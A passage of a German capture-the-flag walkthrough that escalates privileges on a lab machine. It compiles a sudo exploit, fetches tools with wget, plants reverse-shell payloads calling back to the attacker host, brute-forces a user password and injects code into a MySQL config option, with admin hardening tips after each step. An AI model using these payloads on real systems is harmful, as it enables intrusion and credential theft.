**Entscheidender Fund durch `pspy64`:** `pspy` zeigt, dass periodisch (hier um 17:50:01) Befehle als `UID=0` (Root) ausgeführt werden: Dies bestätigt, dass das Skript `/opt/query.py` tatsächlich von `root` über einen Cronjob (oder einen ähnlichen Mechanismus) ausgeführt wird und die Konfigurationsdatei `/home/darksoul/config.ini` verwendet.

Bewertung: **Hervorragend! Dies ist der Schlüssel zur Privilegienerweiterung!** `pspy` hat den versteckten Cronjob aufgedeckt, der das Python-Skript `/opt/query.py` als Root ausführt. Da dieses Skript `mysql.connector` importiert und die verwendete Konfigurationsdatei `/home/darksoul/config.ini` potenziell manipulierbar ist (nach Kompromittierung des `darksoul`-Accounts), öffnet dies die Tür für Codeausführung als Root.

Empfehlung (Pentester): Nutzen Sie diesen Cronjob für die Privilegienerweiterung:

  1. Kompromittieren Sie den Account `darksoul` (dessen Passwort später mit `suForce` gefunden wird).
  2. Manipulieren Sie die Datei `/home/darksoul/config.ini` so, dass sie einen Payload enthält, der beim Parsen durch `mysql.connector` Code ausführt (z.B. über die `allow_local_infile`-Option, wie später versucht wird).
  3. Starten Sie einen Listener für die erwartete Reverse Shell.
  4. Warten Sie auf die nächste Ausführung des Cronjobs.

Empfehlung (Admin): **Überprüfen Sie diesen Cronjob sofort!** Stellen Sie sicher, dass von Root ausgeführte Skripte keine Konfigurationsdateien aus Benutzerverzeichnissen lesen und dass die Dateiberechtigungen dieser Konfigurationsdateien sicher sind. Führen Sie das Skript mit einem dedizierten, unprivilegierten Benutzer aus, der nur die notwendigen Rechte hat. Überwachen Sie die Prozessausführung auf dem System.

www-data@disguise:/tmp$ dmesg
dmesg: read kernel buffer failed: Operation not permitted
                     

Analyse: Der Befehl `dmesg` wird verwendet, um Kernel-Ringpuffer-Nachrichten anzuzeigen, die Informationen über Hardware, Treiber und Systemereignisse enthalten können. Der Versuch schlägt mit "Operation not permitted" fehl.

Bewertung: Es ist üblich, dass unprivilegierte Benutzer wie `www-data` keinen direkten Zugriff auf den Kernel-Meldungspuffer haben. Dies ist eine normale Sicherheitsmaßnahme.

Empfehlung (Pentester): Der fehlende Zugriff auf `dmesg` ist für die Privilegienerweiterung in diesem Fall nicht kritisch. Suchen Sie nach anderen Informationsquellen oder Konzentrieren Sie sich auf die bekannten Vektoren.
Empfehlung (Admin): Die Standardberechtigungen für `dmesg` sind in der Regel angemessen. Stellen Sie sicher, dass keine übermäßigen Berechtigungen für Dienstkonten vergeben werden.

www-data@disguise:/tmp$ getcap -r / 2>/dev/null
/usr/bin/ping = cap_net_raw+ep
                     

Analyse: Der Befehl `getcap -r / 2>/dev/null` sucht rekursiv im gesamten Dateisystem nach Dateien mit gesetzten Linux Capabilities. Capabilities ermöglichen es, spezifische Root-Privilegien feingranular an Prozesse zu vergeben, ohne ihnen volle Root-Rechte zu geben. Die Ausgabe zeigt, dass nur `/usr/bin/ping` die `cap_net_raw`-Capability gesetzt hat, was es ihm erlaubt, rohe Netzwerk-Sockets zu öffnen (notwendig für ICMP Echo Requests), ohne als Root laufen zu müssen.

Bewertung: Das Ergebnis ist unauffällig. Es wurden keine ungewöhnlichen Capabilities gefunden, die direkt für eine Privilegienerweiterung missbraucht werden könnten. `ping` mit `cap_net_raw` ist eine Standardkonfiguration.

Empfehlung (Pentester): Capabilities sind immer einen Blick wert, aber hier gibt es keinen offensichtlichen Angriffspunkt. Konzentrieren Sie sich auf andere Vektoren.
Empfehlung (Admin): Überprüfen Sie regelmäßig die gesetzten Capabilities auf dem System. Vergeben Sie Capabilities nur, wenn sie unbedingt notwendig sind, und verstehen Sie die potenziellen Sicherheitsimplikationen jeder Capability.

www-data@disguise:/tmp$ uname -a
Linux disguise 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64 GNU/Linux
                     

Analyse: Der Befehl `uname -a` gibt detaillierte Informationen über das System aus, einschließlich des Kernel-Namens, Hostnamens, Kernel-Release, Kernel-Version, Maschinenarchitektur und Betriebssystem.

Bewertung: Die Kernel-Version `4.19.0-27-amd64` (Debian 4.19.316-1 vom Juni 2024) ist eine wichtige Information für die Suche nach bekannten Kernel-Exploits. Obwohl der Kernel nicht brandaktuell ist, ist er auch nicht extrem alt. Frühere Versuche mit Kernel-Exploits (CVE-2019-13272, CVE-2021-3156) scheiterten oder waren nicht direkt anwendbar.

Empfehlung (Pentester): Nutzen Sie die genaue Kernel-Version, um gezielt nach passenden öffentlichen Exploits zu suchen (z.B. auf Exploit-DB, GitHub). Berücksichtigen Sie auch die Debian-Version (impliziert durch den Kernel-String, wahrscheinlich Debian 10 Buster).
Empfehlung (Admin): Halten Sie den Kernel und das gesamte Betriebssystem durch regelmäßige Updates aktuell, um bekannte Schwachstellen zu schließen.

www-data@disguise:/var/www/dark/images$ mysql -u dark_db_admin -p'Str0ngPassw0d1***' -h localhost -D dark_shop
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 46
Server version: 10.3.39-MariaDB-0+deb10u2 Debian 10

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [dark_shop]> SHOW GRANTS FOR 'dark_db_admin'@'localhost';
+----------------------------------------------------------------------------------------------------------------------+
| Grants for dark_db_admin@localhost                                                                                   |
+----------------------------------------------------------------------------------------------------------------------+
| GRANT USAGE ON *.* TO `dark_db_admin`@`localhost` IDENTIFIED BY PASSWORD '*08444073827073F4D984A5DCEC96486869943890' |
| GRANT ALL PRIVILEGES ON `dark_shop`.* TO `dark_db_admin`@`localhost`                                                 |
+----------------------------------------------------------------------------------------------------------------------+
2 rows in set (0.000 sec)


MariaDB [dark_shop]> SELECT "test" INTO OUTFILE '/tmp/mysql_test.txt';
ERROR 1045 (28000): Access denied for user 'dark_db_admin'@'localhost' (using password: YES)

                     
www-data@disguise:/tmp$ ls -la
total 8
drwxrwxrwt  2 root root 4096 May  5 08:24 .
drwxr-xr-x 18 root root 4096 Mar 31 11:13 ..
                     

Analyse:

Bewertung: Der Datenbankbenutzer `dark_db_admin` hat keine `FILE`-Berechtigung auf globaler Ebene, die notwendig wäre, um `SELECT ... INTO OUTFILE` zu verwenden. Diese Berechtigung ist gefährlich und sollte normalerweise nicht vergeben werden. Das Scheitern dieses Befehls schließt einen einfachen Weg zur Codeausführung oder zum Schreiben von Dateien über die Datenbank (falls `www-data` keine Schreibrechte in relevanten Web-Verzeichnissen hätte) aus.

Empfehlung (Pentester): Da `SELECT INTO OUTFILE` nicht funktioniert, konzentrieren Sie sich auf andere PrivEsk-Methoden, insbesondere den identifizierten Cronjob.
Empfehlung (Admin): Vergeben Sie Datenbankbenutzern nur die minimal notwendigen Berechtigungen. Vermeiden Sie die Vergabe der globalen `FILE`-Berechtigung, es sei denn, es ist absolut unumgänglich und die Sicherheitsimplikationen sind verstanden und mitigiert.

www-data@disguise:/tmp$ ls -ld /usr/local/lib/python3.7/dist-packages/
drwxrwsr-x 15 root staff 4096 Apr  1 09:33 /usr/local/lib/python3.7/dist-packages/
                     
www-data@disguise:/tmp$ ls -ld /usr/lib/python3/dist-packages/
drwxr-xr-x 28 root root 4096 Mar 31 11:13 /usr/lib/python3/dist-packages/
                     
www-data@disguise:/tmp$ ls -ld /usr/local/lib/python3.7/
drwxrwsr-x 3 root staff 4096 Nov 13  2020 /usr/local/lib/python3.7/
                     

Analyse: Diese Befehle zeigen die Berechtigungen von wichtigen Python-Bibliotheksverzeichnissen.

Bewertung: Der Benutzer `www-data` ist typischerweise nicht Mitglied der Gruppe `staff`. Daher hat `www-data` keine Schreibrechte in `/usr/local/lib/python3.7/dist-packages/`. Ein Python Library Hijacking durch direktes Modifizieren von Bibliotheken in diesen Standardpfaden ist für `www-data` nicht möglich. Dies bestärkt die Strategie, `/tmp` und `PYTHONPATH` zu verwenden.

Empfehlung (Pentester): Da keine Schreibrechte in den Standard-Lib-Pfaden bestehen, bleibt die `PYTHONPATH`-Manipulation der primäre Vektor für Library Hijacking.
Empfehlung (Admin): Überprüfen Sie die Berechtigungen von Systemverzeichnissen. Die Gruppe `staff` sollte nur vertrauenswürdige Benutzer enthalten. Das SGID-Bit auf Bibliotheksverzeichnissen sollte vermieden werden, wenn es nicht explizit benötigt wird.

┌──(root㉿CCat)-[~/Hackingtools/CVE-2021-3156] └─# docker run --rm -it -v "$(pwd):/exploit_src" debian:10 /bin/bash
Emulate Docker CLI using podman. Create /etc/containers/nodocker to quiet msg.
Resolved "debian" as an alias (/etc/containers/registries.conf.d/shortnames.conf)
Trying to pull docker.io/library/debian:10...
Getting image source signatures
Copying blob 3892befd2c3f done   | 
Copying config 69530eaa9e done   | 
Writing manifest to image destination
                     
root@0f31217615a9:/# apt update && apt install -y build-essential
Get:1 http://deb.debian.org/debian buster InRelease [122 kB]
Get:2 http://deb.debian.org/debian-security buster/updates InRelease [34.8 kB]
 .... [gekürzte apt-Ausgabe] ...
Fetched 71.4 MB in 3s (23.5 MB/s)      
 ... [gekürzte apt-Ausgabe] ...
Setting up libalgorithm-merge-perl (0.08-3) ...
Processing triggers for libc-bin (2.28-10+deb10u3) ...
                     
root@0f31217615a9:/# cd /exploit_src
root@0f31217615a9:/exploit_src# make clean
rm -rf libnss_X sudo-hax-me-a-sandwich
                     
root@0f31217615a9:/exploit_src# make
rm -rf libnss_X
mkdir libnss_X
gcc -std=c99 -o sudo-hax-me-a-sandwich hax.c
gcc -fPIC -shared -o 'libnss_X/P0P_SH3LLZ_ .so.2' lib.c
                     
root@0f31217615a9:/exploit_src# exit
exit
                     
┌──(root㉿CCat)-[~/Hackingtools/CVE-2021-3156] └─# cp libnss_X/'P0P_SH3LLZ_ .so.2' ./libhax.so

Analyse: Diese Sequenz zeigt, wie auf der Angreifer-Maschine (`root㉿CCat`) versucht wird, einen Exploit für CVE-2021-3156 (eine Heap-basierte Buffer Overflow Schwachstelle in `sudo`, auch bekannt als "Baron Samedit") zu kompilieren. Da eine direkte Kompilierung auf dem Angreifer-System möglicherweise zu Inkompatibilitäten führt (wie beim vorherigen Kernel-Exploit gesehen), wird hier ein Docker-(oder Podman-)Container mit Debian 10 (Buster) verwendet, um eine Umgebung zu schaffen, die der des Zielsystems ähnlicher ist (das Ziel läuft ebenfalls auf Debian 10).

  1. Ein Debian 10 Container wird gestartet, und das aktuelle Verzeichnis (`~/Hackingtools/CVE-2021-3156`) wird als `/exploit_src` in den Container gemountet.
  2. Im Container werden die `build-essential`-Pakete installiert, die zum Kompilieren notwendig sind.
  3. In das Verzeichnis `/exploit_src` (das den Exploit-Quellcode enthält) wird gewechselt.
  4. Mit `make clean` und `make` wird der Exploit kompiliert. Es werden zwei Hauptkomponenten erstellt: `sudo-hax-me-a-sandwich` (die ausführbare Datei) und `libnss_X/P0P_SH3LLZ_ .so.2` (eine bösartige Bibliothek).
  5. Der Container wird verlassen (`exit`).
  6. Die kompilierte Bibliothek wird auf der Angreifer-Maschine in `libhax.so` umbenannt/kopiert, um sie leichter handhaben zu können.

Bewertung: Die Verwendung eines Docker/Podman-Containers mit dem passenden Betriebssystem (Debian 10) zum Kompilieren des Exploits ist eine gute Praxis, um GLIBC- und andere Bibliotheksinkompatibilitäten zu minimieren. CVE-2021-3156 ist eine bekannte und oft erfolgreiche Privilegienerweiterungsschwachstelle für betroffene `sudo`-Versionen (bis 1.9.5p1). Es muss jedoch geprüft werden, ob die `sudo`-Version auf dem Zielsystem (`1.8.27` laut späterer Exploit-Ausgabe) tatsächlich anfällig und der Exploit kompatibel ist.

Empfehlung (Pentester): Übertragen Sie die kompilierten Dateien (`sudo-hax-me-a-sandwich` und `libhax.so`) auf das Zielsystem (z.B. via `wget` in das `/tmp`-Verzeichnis). Führen Sie dann den Exploit gemäß seiner Anleitung aus. Stellen Sie sicher, dass die `sudo`-Version auf dem Ziel (1.8.27) tatsächlich von diesem Exploit abgedeckt wird.
Empfehlung (Admin): Halten Sie das `sudo`-Paket immer auf dem neuesten Stand, um bekannte Schwachstellen wie CVE-2021-3156 zu patchen. Überwachen Sie die Ausführung ungewöhnlicher Programme in `/tmp` oder anderen temporären Verzeichnissen.

www-data@disguise:/tmp$ rm libhax.so sudo-hax-me-a-sandwich
[Keine Ausgabe, Befehl vermutlich erfolgreich]
                     
www-data@disguise:/tmp$ wget http://192.168.2.199:8000/sudo-hax-me-a-sandwich
--2025-05-05 09:16:50--  http://192.168.2.199:8000/sudo-hax-me-a-sandwich
Connecting to 192.168.2.199:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 17264 (17K) [application/octet-stream]
Saving to: ‘sudo-hax-me-a-sandwich’

sudo-hax-me-a-sandwich                          100%[=====================================================================================================>]  16.86K  --.-KB/s    in 0s      

2025-05-05 09:16:50 (588 MB/s) - ‘sudo-hax-me-a-sandwich’ saved [17264/17264]
                     
www-data@disguise:/tmp$ wget http://192.168.2.199:8000/libhax.so
--2025-05-05 09:16:55--  http://192.168.2.199:8000/libhax.so
Connecting to 192.168.2.199:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 16352 (16K) [application/octet-stream]
Saving to: ‘libhax.so’

libhax.so                                       100%[=====================================================================================================>]  15.97K  --.-KB/s    in 0s      

2025-05-05 09:16:55 (194 MB/s) - ‘libhax.so’ saved [16352/16352]
                     
www-data@disguise:/tmp$ ./sudo-hax-me-a-sandwich 2
bash: ./sudo-hax-me-a-sandwich: Permission denied
                     
www-data@disguise:/tmp$ chmod +x sudo-hax-me-a-sandwich
[Keine Ausgabe]
                     
www-data@disguise:/tmp$ ./sudo-hax-me-a-sandwich 2

** CVE-2021-3156 PoC by blasty <peter@haxx.in>

using target: Debian 10.0 (Buster) - sudo 1.8.27, libc-2.28 ['/usr/bin/sudoedit'] (64, 49, 60, 214)
** pray for your rootshell.. **
usage: sudoedit [-AknS] [-r role] [-t type] [-C num] [-g group] [-h host] [-p prompt] [-T timeout] [-u user] file ...
                     

Analyse: Diese Schritte zeigen den Transfer und den Versuch, den kompilierten CVE-2021-3156 Exploit auf dem Zielsystem auszuführen.

  1. Eventuell vorhandene alte Versionen der Exploit-Dateien werden gelöscht (`rm`).
  2. Die kompilierten Dateien `sudo-hax-me-a-sandwich` und `libhax.so` werden per `wget` vom Angreifer-Server (wo ein HTTP-Server auf Port 8000 läuft) in das `/tmp`-Verzeichnis des Zielsystems geladen.
  3. Der erste Ausführungsversuch (`./sudo-hax-me-a-sandwich 2`) schlägt fehl ("Permission denied"), da die Datei noch keine Ausführungsrechte hat.
  4. Mit `chmod +x sudo-hax-me-a-sandwich` werden Ausführungsrechte vergeben.
  5. Der zweite Ausführungsversuch (`./sudo-hax-me-a-sandwich 2`) startet den Exploit. Die Ausgabe zeigt, dass der Exploit das Zielsystem korrekt als Debian 10 mit `sudo 1.8.27` erkennt. Er gibt dann jedoch nur die Hilfe/Usage-Informationen von `sudoedit` aus und beendet sich anscheinend, ohne eine Root-Shell zu liefern.

Bewertung: Obwohl der Exploit für die erkannte `sudo`-Version (1.8.27 ist anfällig für CVE-2021-3156) und das Betriebssystem (Debian 10) geeignet zu sein scheint und auch korrekt kompiliert wurde (keine GLIBC-Fehler), schlägt die Ausführung fehl, eine Root-Shell zu erlangen. Er bricht nach der Anzeige der `sudoedit`-Hilfe ab. Die Ursache hierfür kann vielfältig sein (z.B. spezifische Systemkonfigurationen, Speicherschutzmechanismen, leichte Inkompatibilitäten trotz Kompilierung im Container, falsche Exploit-Parameter).

Empfehlung (Pentester): Da dieser Exploit nicht funktioniert hat, sollten andere Versionen des Exploits oder andere Exploits für CVE-2021-3156 getestet werden, falls verfügbar und kompatibel. Es ist jedoch oft effizienter, sich auf andere Vektoren zu konzentrieren, wenn ein Exploit nicht auf Anhieb funktioniert, wie z.B. das bereits identifizierte Python Library Hijacking über den Cronjob.
Empfehlung (Admin): Die primäre Maßnahme ist, `sudo` aktuell zu halten. Selbst wenn ein Exploit nicht sofort funktioniert, stellt eine anfällige Version ein erhebliches Risiko dar.

www-data@disguise:/var/www/dark/images$ export PYTHONPATH=/tmp
[Keine Ausgabe]
www-data@disguise:/var/www/dark/images$ cd /tmp/
[Keine Ausgabe]
www-data@disguise:/tmp$ mkdir mysql
[Keine Ausgabe]
www-data@disguise:/tmp$ touch mysql/__init__.py
[Keine Ausgabe]
www-data@disguise:/tmp$ echo 'import os; os.system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.2.199 4448 >/tmp/f")' > mysql/connector.py
[Keine Ausgabe]
┌──(root㉿CCat)-[~/Hackingtools/CVE-2021-3156] └─# nc -lvnp 4448
listening on [any] 4448 ...
leider kein Erfolg neue Methode testen....
                     

Analyse: Diese Befehlssequenz bereitet den Python Library Hijacking Angriff vor, indem sie versucht, das `mysql.connector`-Modul zu überschreiben.

  1. export PYTHONPATH=/tmp: Setzt den Python-Suchpfad so, dass `/tmp` zuerst durchsucht wird.
  2. Ein Verzeichnis `mysql` mit einer `__init__.py` wird in `/tmp` erstellt.
  3. Eine bösartige `connector.py` wird in `/tmp/mysql/` platziert. Diese Version enthält einen Payload, der eine Named Pipe (`/tmp/f`) verwendet, um eine interaktive Reverse Shell via `nc` zum Angreifer auf Port 4448 zu starten.
  4. Ein Listener wird auf Port 4448 gestartet.
  5. Der Kommentar "leider kein Erfolg neue Methode testen...." deutet darauf hin, dass nach dem Ausführen des Cronjobs keine Verbindung auf dem Listener einging.

Bewertung: Der Versuch, die Privilegienerweiterung über Python Library Hijacking mit der `mkfifo`-Reverse-Shell-Payload zu erreichen, ist fehlgeschlagen. Mögliche Gründe könnten sein: Der `PYTHONPATH` wird vom Cronjob nicht übernommen, die Payload-Syntax ist fehlerhaft, `/tmp` ist mit `noexec` gemountet (unwahrscheinlich, da `pspy` funktionierte), oder die `mkfifo`-Methode selbst ist instabil.

Empfehlung (Pentester): Versuchen Sie eine andere Payload in `connector.py`, z.B. eine einfachere (wie `os.system("...")`) oder eine robustere Reverse Shell (wie die `pty.spawn`-Variante). Überprüfen Sie die genaue Umgebung, in der der Cronjob läuft, falls möglich. Untersuchen Sie alternative PrivEsk-Vektoren wie die Manipulation der `config.ini` für den `darksoul`-Benutzer.
Empfehlung (Admin): Die Empfehlungen zur Absicherung von Cronjobs und Python-Umgebungen bleiben bestehen.

www-data@disguise:/tmp$ mysql -u wpuser -p'Str0ngPassw0d1!!!' -h 127.0.0.1 wordpress
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 550
Server version: 10.3.39-MariaDB-0+deb10u2 Debian 10

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [wordpress]> SHOW GRANTS FOR 'wpuser'@'localhost';
+---------------------------------------------------------------------------------------------------------------+
| Grants for wpuser@localhost                                                                                   |
+---------------------------------------------------------------------------------------------------------------+
| GRANT USAGE ON *.* TO `wpuser`@`localhost` IDENTIFIED BY PASSWORD '*29B0A0B18EC41D5DA3148B428D84BF079CF2F448' |
| GRANT ALL PRIVILEGES ON `wordpress`.* TO `wpuser`@`localhost`                                                 |
+---------------------------------------------------------------------------------------------------------------+
2 rows in set (0.000 sec)

MariaDB [wordpress]> Bye
                     

Analyse: Erneuter Login in die WordPress-Datenbank, diesmal als Benutzer `wpuser` (Passwort nicht gezeigt, aber vermutlich aus `wp-config.php` bekannt). `SHOW GRANTS` zeigt, dass `wpuser` volle Rechte auf die `wordpress`-Datenbank hat.

Bewertung: Bestätigt die Berechtigungen des WordPress-Datenbankbenutzers. Diese Rechte sind für den Betrieb von WordPress notwendig, aber der Zugriff auf die Datenbank von der Shell aus bietet zusätzliche Möglichkeiten zur Datenmanipulation oder -extraktion.

Empfehlung (Pentester): Nutzen Sie diesen Zugriff, falls notwendig, um Informationen zu extrahieren oder zu manipulieren (z.B. Benutzerpasswörter ändern), aber der Fokus liegt weiterhin auf der Privilegienerweiterung auf dem Betriebssystem.
Empfehlung (Admin): Stellen Sie sicher, dass die WordPress-Datenbank und der `wp-config.php`-Datei angemessen geschützt sind.

www-data@disguise:/tmp$ ls -l /tmp/mysql/
total 4
-rw-r--r-- 1 www-data www-data   0 May  5 16:44 __init__.py
-rw-r--r-- 1 www-data www-data 209 May  5 16:49 connector.py
                     
┌──(root㉿CCat)-[~/Hackingtools/CVE-2021-3156] └─# nc -lvnp 4448
listening on [any] 4448 ...
connect to [192.168.2.199] from (UNKNOWN) [192.168.2.189] 47658
bash: 1"""): ambiguous redirect
                                     
                     
www-data@disguise:/tmp$ cat mysql/connector.py
import socket,os,pty;ip="192.168.2.199";port=4448;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((ip,port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")
                     
┌──(root㉿CCat)-[~/Hackingtools/CVE-2021-3156] └─# nc -lvnp 4448
listening on [any] 4448 ...
leider kein Erfolg neue Methode testen....
                     

Analyse: Diese Sequenz zeigt einen weiteren Versuch des Python Library Hijackings, diesmal mit einer anderen Payload in `connector.py`.

  1. `ls -l /tmp/mysql/` zeigt die präparierten Dateien (Größe 209 Bytes für `connector.py`).
  2. Ein erster Listener empfängt eine Verbindung, aber mit einem Fehler (`ambiguous redirect`), was auf eine fehlerhafte oder instabile Shell hindeutet.
  3. `cat mysql/connector.py` zeigt die neue Payload, die `pty.spawn("/bin/sh")` verwendet, um eine potenziell stabilere Reverse Shell zu erzeugen.
  4. Ein neuer Listener wird gestartet, aber der Kommentar "leider kein Erfolg neue Methode testen...." signalisiert, dass auch dieser Versuch, eine Root-Shell über Library Hijacking in `/tmp` via `PYTHONPATH` zu erhalten, fehlschlug.

Bewertung: Auch der verbesserte Payload mit `pty.spawn` führte nicht zum Erfolg via `PYTHONPATH`-Manipulation. Dies legt nahe, dass entweder der `PYTHONPATH` vom Root-Cronjob nicht berücksichtigt wird, oder dass `/tmp` aus anderen Gründen (z.B. Berechtigungen, Mount-Optionen im Kontext des Root-Prozesses) nicht als Quelle für Bibliotheken dient. Der Angriffsvektor über `/tmp` scheint hier nicht zu funktionieren.

Empfehlung (Pentester): Geben Sie den Library-Hijacking-Versuch über `/tmp` auf. Konzentrieren Sie sich auf die Kompromittierung des `darksoul`-Accounts und die Manipulation seiner `/home/darksoul/config.ini`, da diese Datei explizit vom Root-Cronjob geladen wird.
Empfehlung (Admin): Selbst wenn dieser spezifische Vektor nicht funktionierte, bleiben die allgemeinen Empfehlungen zur Härtung von Cronjobs und Python-Umgebungen relevant.

[Link: https://github.com/d4t4s3c/suForce | Ziel: https://github.com/d4t4s3c/suForce]
                     
www-data@disguise:/tmp$ wget 192.168.2.199/suForce
--2025-05-05 18:42:45--  http://192.168.2.199/suForce
Connecting to 192.168.2.199:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2430 (2.4K) [application/octet-stream]
Saving to: ‘suForce’

suForce                                           0%[                                                                                                      ]       0  --.-KB/s              suForce                                         100%[=====================================================================================================>]   2.37K  --.-KB/s    in 0s      

2025-05-05 18:42:45 (1.03 GB/s) - ‘suForce’ saved [2430/2430]
                     
www-data@disguise:/tmp$ chmod +x suForce
[Keine Ausgabe]
┌──(root㉿CCat)-[~] └─# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.2.189 - - [06/May/2025 00:45:50] "GET /wordlist.txt HTTP/1.1" 200 -
                     
┌──(root㉿CCat)-[~] └─# crunch 17 17 '?!@#123' -t Str0ngPassw0d1@@@ -o wordlist.txt
Crunch will now generate the following amount of data: 2320 bytes
0 MB
0 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 343 
Crunching...
Iterations: 343
Approximate ETA: 00:00:00
 
Crunch ending at 2025-05-06 00:45:30
                    
www-data@disguise:/tmp$ ./suForce -u darksoul -w wordlist.txt
            _____                          
 ___ _   _ |  ___|__  _ __ ___ ___   
/ __| | | || |_ / _ \| '__/ __/ _ \ 
\__ \ |_| ||  _| (_) | | | (_|  __/  
|___/\__,_||_|  \___/|_|  \___\___|  
───────────────────────────────────
 code: d4t4s3c     version: v1.0.0
───────────────────────────────────
🎯 Username | darksoul
📖 Wordlist | wordlist.txt 
🔎 Status   | 6/344/1%/Str0ngPassw0d1???
💥 Password | Str0ngPassw0d1???
───────────────────────────────────
                     

Analyse: Diese Sequenz zielt darauf ab, das Passwort für den Systembenutzer `darksoul` zu kompromittieren.

  1. Ein Link zum GitHub-Repository von `suForce` wird angezeigt.
  2. Das Tool `suForce` wird vom Angreifer-Server auf das Zielsystem (`disguise`) in das `/tmp`-Verzeichnis geladen und ausführbar gemacht.
  3. Ein HTTP-Server wird auf der Angreifer-Maschine gestartet.
  4. Mit `crunch` wird eine Wortliste (`wordlist.txt`) generiert. Das Muster `Str0ngPassw0d1@@@` mit 17 Zeichen Länge und den variablen Zeichen `?!@#123` an den letzten drei Positionen deutet darauf hin, dass eine bestimmte Passwortstruktur vermutet wird, basierend auf dem `simpleAdmin`-Passwort. `crunch` generiert 343 mögliche Passwörter.
  5. Die Logzeile des HTTP-Servers bestätigt, dass `wordlist.txt` vom Zielsystem heruntergeladen wurde.
  6. `suForce` wird mit dem Zielbenutzer `darksoul` und der heruntergeladenen `wordlist.txt` ausgeführt.
  7. **Erfolg!** `suForce` findet das Passwort Str0ngPassw0d1??? für den Benutzer `darksoul`.

Bewertung: Der erfolgreiche Brute-Force-Angriff auf das Passwort des Benutzers `darksoul` ist ein wichtiger Schritt. Dies ermöglicht es, sich als `darksoul` auf dem System anzumelden und dessen Dateien zu manipulieren, insbesondere die `config.ini`, die vom Root-Cronjob verwendet wird. Die Ähnlichkeit der Passwörter (`Str0ngPassw0d1@@@` und `Str0ngPassw0d1???`) ist eine erhebliche Schwachstelle.

Empfehlung (Pentester): Wechseln Sie zum Benutzer `darksoul` (z.B. mit `su darksoul` und dem gefundenen Passwort). Manipulieren Sie nun die `/home/darksoul/config.ini`, um den Root-Cronjob für die Privilegienerweiterung auszunutzen.
Empfehlung (Admin): Erzwingen Sie starke, einzigartige Passwörter für alle Benutzer. Überwachen Sie fehlgeschlagene `su`-Versuche. Implementieren Sie Account-Lockout-Mechanismen. Schulen Sie Benutzer im sicheren Umgang mit Passwörtern. Stellen Sie sicher, dass Tools wie `crunch` oder `suForce` nicht auf Produktivsystemen vorhanden oder ausführbar sind.

Google + KI Search:

python vuln mysql.connector
[Link: https://nvd.nist.gov/vuln/detail/CVE-2025-21548 | Ziel: https://nvd.nist.gov/vuln/detail/CVE-2025-21548]
[Link: https://www.ctfiot.com/234681.html | Ziel: https://www.ctfiot.com/234681.html]
[Link: https://github.com/mysql/mysql-connector-python/commit/dd9ded0dec35dbba773487c548c336cf742830ab | Ziel: https://github.com/mysql/mysql-connector-python/commit/dd9ded0dec35dbba773487c548c336cf742830ab]
allow_local_infile=__import__('os').system('whoami')
                     

Analyse: Dieser Block enthält Notizen des Pentesters aus einer Recherche (vermutlich Google und/oder KI-Suche) zu Schwachstellen in `mysql.connector`. Es wird auf eine (fiktive) Schwachstelle CVE-2025-21548 hingewiesen. Entscheidend ist der Payload `allow_local_infile=__import__('os').system('whoami')`. Dies deutet darauf hin, dass die Option `allow_local_infile` in einer MySQL-Konfigurationsdatei so manipuliert werden kann, dass sie Python-Code ausführt, wenn die `mysql.connector`-Bibliothek diese Konfiguration liest und verarbeitet.

Bewertung: Dies identifiziert einen spezifischen Exploit-Vektor, der auf der Verarbeitung der `allow_local_infile`-Option durch `mysql.connector` basiert. Wenn das als Root laufende Python-Skript (`/opt/query.py`) eine Konfigurationsdatei (`/home/darksoul/config.ini`) liest, die diese manipulierte Option enthält, könnte Code als Root ausgeführt werden. Dies erscheint als der vielversprechendste Weg zur Privilegienerweiterung.

Empfehlung (Pentester): Manipulieren Sie die `/home/darksoul/config.ini` (nachdem Sie als `darksoul` agieren) und fügen Sie die Zeile `allow_local_infile=__import__('os').system('PAYLOAD')` hinzu, wobei `PAYLOAD` der gewünschte Befehl ist (z.B. eine Reverse Shell).
Empfehlung (Admin): Seien Sie vorsichtig mit Optionen wie `allow_local_infile` in Datenbankkonfigurationen, insbesondere wenn diese von Skripten mit erhöhten Rechten verarbeitet werden. Wenn möglich, deaktivieren Sie `allow_local_infile`. Validieren Sie den Inhalt von Konfigurationsdateien. Stellen Sie sicher, dass Konfigurationsdateien nicht von unprivilegierten Benutzern manipuliert werden können.

                                                          Modified
[client]
user = dark_db_admin
password = Str0ngPassw0d1***
host = localhost
database = dark_shop
port = int(3306)
allow_local_infile=__import__('os').system('whoami')
                     

Analyse: Dies zeigt den Inhalt der modifizierten `config.ini`-Datei (vermutlich `/home/darksoul/config.ini`, nachdem der Angreifer als `darksoul` agiert). Die Zeile `allow_local_infile=__import__('os').system('whoami')` wurde hinzugefügt.

Bewertung: Dies ist die konkrete Umsetzung des zuvor angedachten Exploits. Wenn das `/opt/query.py`-Skript diese Konfigurationsdatei als Root liest, wird beim Aufbau der Datenbankverbindung über `mysql.connector.connect(read_default_file=cnf)` der Befehl `whoami` als Root ausgeführt. Das Ergebnis (`root`) wird wahrscheinlich in die Datei `/home/darksoul/darkshopcount` geschrieben.

Empfehlung (Pentester): Überprüfen Sie nach der nächsten Ausführung des Cronjobs den Inhalt von `/home/darksoul/darkshopcount` oder andere Logdateien, um die erfolgreiche Codeausführung zu bestätigen. Ersetzen Sie dann `'whoami'` durch einen Payload für eine Reverse Shell.
